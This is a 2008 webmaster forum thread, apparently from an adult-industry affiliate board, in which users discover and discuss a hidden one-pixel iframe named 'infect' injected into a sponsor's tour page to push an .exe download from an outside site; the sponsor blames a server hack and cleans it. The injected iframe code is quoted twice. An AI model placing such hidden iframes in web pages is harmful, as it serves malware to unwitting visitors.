Who the fuck is ghostcash and who is in charge over there? - GoFuckYourself.com

Number1Thumb · 11-17-2008, 01:54 AM

Anyone around I can get ahold of? WTF is this shit all about?

<iframe src=http://www.xxxxxxxxxxxxx.com/InstallPlugins.exe frameborder=\"0\" width=\"1\" height=\"1\" scrolling=\"no\" name=\"infect\"></iframe>

These fucks put some shit on my server somehow and want to serve installs?

st0ned · 11-17-2008, 02:25 AM

That's not good, any idea how it got on there? I promote some Ghost Cash sites...I sure hope they aren't adding spamware on my surfers computers.

After Shock Media · 11-17-2008, 02:55 AM

Just how would they put stuff on your servers?
Did you give them the ability to upload?
Or is it that perhaps you been hacked and someone else is fucking your traffic and sending it to them or whatever? What you show above says nothing really, aside from that someone was silly enough to name it "infect".

JamesK · 11-17-2008, 03:00 AM

I doubt they'd do that on purpose. They probably got hacked.

After Shock Media · 11-17-2008, 03:03 AM

Quote:

Originally Posted by JamesK

I doubt they'd do that on purpose. They probably got hacked.

It says on his server.

JamesK · 11-17-2008, 03:15 AM

Quote:

Originally Posted by After Shock Media

It says on his server.

Yeah I don't understand how it relates to them either. Unless the exe file is hosted on one of GhostCash' sites there's no link to them.

Number1Thumb · 11-17-2008, 07:29 AM

Go to http://www.trixieswallows.com/main

view source, its right at the top. I got a screen shot as well

Trax · 11-17-2008, 07:51 AM

Quote:

Originally Posted by Number1Thumb

Go to http://www.trixieswallows.com/main

view source, its right at the top. I got a screen shot as well

url 404s

Number1Thumb · 11-17-2008, 07:52 AM

http://www.trixieswallows.com/main/

still works for me

Barefootsies · 11-17-2008, 07:54 AM

Super Ghost is in charge.
But I hear he's flying over the city and stopping all the crime at the moment.

Roald · 11-17-2008, 07:59 AM

Quote:

Originally Posted by Number1Thumb

http://www.trixieswallows.com/main/

still works for me

Check the source, seems to be an iframe on that page or something like mentioned by the thread starter.

The .exe goes 404 for me though

Qbert · 11-17-2008, 08:12 AM

It 404'd the first time I clicked the link, but the second time I got the tour page with the iframe code.

It sure looks like a server hack.

BigSicK · 11-17-2008, 08:17 AM

its not on all their sites, I just checked creampie thais and it looks clean

brassmonkey · 11-17-2008, 08:24 AM

yeah ic it

<html>
<body>
<iframe src=hxxp://www.fordstrokers.com/InstallPlugins.exe frameborder=\"0\" width=\"1\" height=\"1\" scrolling=\"no\" name=\"infect\"></iframe>
</body>
</html>

Number1Thumb · 11-17-2008, 08:43 AM

:321gfy:321gfy:321gfy

shunga · 11-17-2008, 08:53 AM

Ghostcash are good people. No doubt that's a server hack.

C-Luv · 11-17-2008, 08:56 AM

A ghost did it, he he he

brassmonkey · 11-17-2008, 08:57 AM

yeah i had one it was hidden in php code in my site

st0ned · 11-17-2008, 09:18 AM

Wow, you were right. I can't believe I am seeing a code named infect on a sponsor site. Nobody has been able to contact them yet?

Number1Thumb · 11-17-2008, 09:23 AM

Quote:

Originally Posted by st0ned

Wow, you were right. I can't believe I am seeing a code named infect on a sponsor site. Nobody has been able to contact them yet?

ya tell me about it. So I was hacked, thats a given and they were hacked as well? Hmm I guess

Number1Thumb · 11-17-2008, 10:28 AM

...............

spacedog · 11-17-2008, 10:52 AM

that's fucked up..

sicone · 11-17-2008, 11:10 AM

bump for some answers

Horny Alf · 11-17-2008, 11:14 AM

Whoa, yea we were hacked last week so thats definitely NOT from us. We have our programmer on this right now.

Don Pueblo · 11-17-2008, 11:17 AM

i give up.

BradM · 11-17-2008, 11:18 AM

LOL exploit/hacked code been up for a WEEK? NICE JOB MANAGING YOUR SHIT

CyberHustler · 11-17-2008, 11:23 AM

Seems like we have a situation here...

Horny Alf · 11-17-2008, 11:30 AM

we are investigating what appears to be a hack of our system. We value our affiliates and customers and would NEVER consider installing any thing on ANY computer.

Horny Alf · 11-17-2008, 11:32 AM

Quote:

Originally Posted by BradM

LOL exploit/hacked code been up for a WEEK? NICE JOB MANAGING YOUR SHIT

We had a problem with one our other servers last week NOT the main tour server, and NO, we would NOT allow it to go one more than the time it takes to solve it.

Iron Fist · 11-17-2008, 11:37 AM

Thank god Thainee seems to be clean....

SmokeyTheBear · 11-17-2008, 11:41 AM

i contacted isprime where the exe was located and they were already removing it from another hacked site. kudos to isprime

Horny Alf · 11-17-2008, 11:57 AM

Quote:

Originally Posted by sharphead

Thank god Thainee seems to be clean....

Yes, this issue was with trixieswallows only. All of our other sites were unaffected. Everything is back to normal now..

Quagmire · 11-17-2008, 12:18 PM

Thats the same shit I saw on a whole bunch of hacked wordpress blogs back in August/September.

TheAmericanCannibal · 11-17-2008, 12:28 PM

email Caspar-
I hear he is very friendly

11-17-2008, 01:54 AM	#1
Number1Thumb Confirmed User Join Date: Feb 2003 Posts: 1,135	Who the fuck is ghostcash and who is in charge over there? Anyone around I can get ahold of? WTF is this shit all about? <iframe src=http://www.xxxxxxxxxxxxx.com/InstallPlugins.exe frameborder=\"0\" width=\"1\" height=\"1\" scrolling=\"no\" name=\"infect\"></iframe> These fucks put some shit on my server somehow and want to serve installs?

11-17-2008, 02:25 AM	#2
st0ned Confirmed User Industry Role: Join Date: Mar 2007 Location: Arizona Posts: 8,437	That's not good, any idea how it got on there? I promote some Ghost Cash sites...I sure hope they aren't adding spamware on my surfers computers. __________________ Conversion Sharks - 1,000+ adult dating offers, traffic management, and consistently high payouts. We will guarantee and beat your current EPC to win your dating traffic! Skype: ConversionSharks \|\| Email: info /@/ conversionsharks.com

11-17-2008, 02:55 AM	#3
After Shock Media It's coming look busy Join Date: Mar 2001 Location: "Ph'nglui mglw'nafh Cthulhu R'lyeh wgah'nagl fhtagn". Posts: 35,299	Just how would they put stuff on your servers? Did you give them the ability to upload? Or is it that perhaps you been hacked and someone else is fucking your traffic and sending it to them or whatever? What you show above says nothing really, aside from that someone was silly enough to name it "infect". __________________ [email protected] ICQ:135982156 AIM: Aftershockmed1a MSN: [email protected]

11-17-2008, 03:00 AM	#4
JamesK hi Industry Role: Join Date: Jun 2002 Posts: 16,731	I doubt they'd do that on purpose. They probably got hacked. __________________ M3Server - NATS Hosting

11-17-2008, 07:54 AM	#10
Barefootsies Choice is an Illusion Industry Role: Join Date: Feb 2005 Location: Land of Obama Posts: 42,635	Super Ghost is in charge. But I hear he's flying over the city and stopping all the crime at the moment. __________________ Should You Email Your Members? Link1 \| Link2 \| Link3 Enough Said. "Would you rather live like a king for a year or like a prince forever?"

11-17-2008, 07:29 AM	#7
Number1Thumb Confirmed User Join Date: Feb 2003 Posts: 1,135	Go to http://www.trixieswallows.com/main view source, its right at the top. I got a screen shot as well

11-17-2008, 07:52 AM	#9
Number1Thumb Confirmed User Join Date: Feb 2003 Posts: 1,135	http://www.trixieswallows.com/main/ still works for me

11-17-2008, 08:12 AM	#12
Qbert Confirmed User Industry Role: Join Date: Jun 2004 Location: Dark Side of the Moon Posts: 813	It 404'd the first time I clicked the link, but the second time I got the tour page with the iframe code. It sure looks like a server hack.

11-17-2008, 08:17 AM	#13
BigSicK Confirmed User Join Date: Jan 2008 Location: ATLANTA Posts: 308	its not on all their sites, I just checked creampie thais and it looks clean __________________ Exclusive Sites - Fresh FHG - Flash Video Tool - Best Support - Tons of Updates

11-17-2008, 08:24 AM	#14
brassmonkey Pay It Forward Industry Role: Join Date: Sep 2005 Location: Yo Mama House Posts: 76,916	yeah ic it <html> <body> <iframe src=hxxp://www.fordstrokers.com/InstallPlugins.exe frameborder=\"0\" width=\"1\" height=\"1\" scrolling=\"no\" name=\"infect\"></iframe> </body> </html> __________________ TRUMP 2025 KEKAW!!! - Support The Laken Riley Act!!! END DACA - SUPPORT AZ HCR 2060 52R - email: brassballz-at-techie.com

11-17-2008, 08:43 AM	#15
Number1Thumb Confirmed User Join Date: Feb 2003 Posts: 1,135	:321gfy:321gfy:321gfy

11-17-2008, 08:53 AM	#16
shunga Confirmed User Join Date: Apr 2001 Location: Loveland Posts: 994	Ghostcash are good people. No doubt that's a server hack. __________________ Clockwork Cash - ICQ: 355-26-288 / Email: admin AT clockworkcash DOT com Asian Paysites : Exclusive Content : NATS or CCBill Thai Cuties : Shave Asians : JAVondemand

11-17-2008, 08:56 AM	#17
C-Luv Confirmed User Join Date: May 2008 Location: Phoenix, AZ Posts: 3,025	A ghost did it, he he he __________________ C-Luv [email protected] ICQ- 461280620 - Skype- C-luvi

11-17-2008, 08:57 AM	#18
brassmonkey Pay It Forward Industry Role: Join Date: Sep 2005 Location: Yo Mama House Posts: 76,916	yeah i had one it was hidden in php code in my site __________________ TRUMP 2025 KEKAW!!! - Support The Laken Riley Act!!! END DACA - SUPPORT AZ HCR 2060 52R - email: brassballz-at-techie.com

11-17-2008, 09:18 AM	#19
st0ned Confirmed User Industry Role: Join Date: Mar 2007 Location: Arizona Posts: 8,437	Wow, you were right. I can't believe I am seeing a code named infect on a sponsor site. Nobody has been able to contact them yet? __________________ Conversion Sharks - 1,000+ adult dating offers, traffic management, and consistently high payouts. We will guarantee and beat your current EPC to win your dating traffic! Skype: ConversionSharks \|\| Email: info /@/ conversionsharks.com

11-17-2008, 10:28 AM	#21
Number1Thumb Confirmed User Join Date: Feb 2003 Posts: 1,135	...............

11-17-2008, 10:52 AM	#22
spacedog Yes that IS me. Bitch. Industry Role: Join Date: Nov 2001 Posts: 14,149	that's fucked up..

11-17-2008, 11:10 AM	#23
sicone Retired Industry Role: Join Date: Jan 2004 Location: Sac Posts: 18,453	bump for some answers __________________

11-17-2008, 11:14 AM	#24
Horny Alf Confirmed User Join Date: Sep 2007 Posts: 863	Whoa, yea we were hacked last week so thats definitely NOT from us. We have our programmer on this right now.

11-17-2008, 11:17 AM	#25
Don Pueblo Confirmed User Join Date: Dec 2004 Posts: 656	i give up. __________________ Don Pueblo Worlds Best Latin Lover

11-17-2008, 11:18 AM	#26
BradM Confirmed User Join Date: Dec 2003 Location: 1123,6536,5231 Posts: 3,397	LOL exploit/hacked code been up for a WEEK? NICE JOB MANAGING YOUR SHIT

11-17-2008, 11:23 AM	#27
CyberHustler So Fucking Banned Industry Role: Join Date: Feb 2006 Posts: 25,214	Seems like we have a situation here...

11-17-2008, 11:30 AM	#28
Horny Alf Confirmed User Join Date: Sep 2007 Posts: 863	we are investigating what appears to be a hack of our system. We value our affiliates and customers and would NEVER consider installing any thing on ANY computer.

11-17-2008, 11:37 AM	#30
Iron Fist Too lazy to set a custom title Join Date: Dec 2006 Posts: 23,400	Thank god Thainee seems to be clean.... __________________ i like waffles

11-17-2008, 11:41 AM	#31
SmokeyTheBear ►SouthOfHeaven Join Date: Jun 2004 Location: PlanetEarth MyBoardRank: GerbilMaster My-Penis-Size: extralarge MyWeapon: Computer Posts: 28,609	i contacted isprime where the exe was located and they were already removing it from another hacked site. kudos to isprime __________________ hatisblack at yahoo.com

11-17-2008, 12:18 PM	#33
Quagmire Confirmed User Join Date: Jul 2005 Location: Stinkin' up your bathroom Posts: 6,490	Thats the same shit I saw on a whole bunch of hacked wordpress blogs back in August/September. __________________

11-17-2008, 12:28 PM	#34
TheAmericanCannibal Confirmed User Join Date: Dec 2006 Posts: 3,085	email Caspar- I hear he is very friendly